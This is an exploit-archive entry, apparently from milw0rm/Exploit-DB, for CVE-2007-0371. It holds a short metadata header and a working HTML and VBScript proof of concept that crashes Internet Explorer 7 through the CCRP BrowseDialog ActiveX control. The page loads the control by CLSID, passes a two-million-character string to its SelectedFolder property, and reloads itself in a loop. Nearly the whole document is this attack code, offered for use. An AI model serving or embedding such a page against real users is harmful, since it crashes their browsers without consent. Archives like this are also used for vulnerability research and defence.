BrowseDialog Class 'ccrpbds6.dll' Internet Explorer 7 - Denial of Service

Author: shinnai
type: dos
platform: windows
port: 
date_added: 2007-01-17 
date_updated:  
verified: 1 
codes: OSVDB-34647;CVE-2007-0371 
tags: 
aliases:  
screenshot_url:  
application_url:

<!--
-----------------------------------------------------------------------------------------------------------
BrowseDialog Class (ccrpbds6.dll) Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------------------------------------
-->
<html>
<object classid='clsid:19E6E148-BAEC-11D2-B03A-EAFC20524153' id='CCRP_BDc'></object>
<script language='vbscript'>

argCount = 1

arg1=String(2000000, "A")

CCRP_BDc.SelectedFolder = arg1
</script>

<script language='javascript'>
document.location.reload()
</script>

# milw0rm.com [2007-01-18]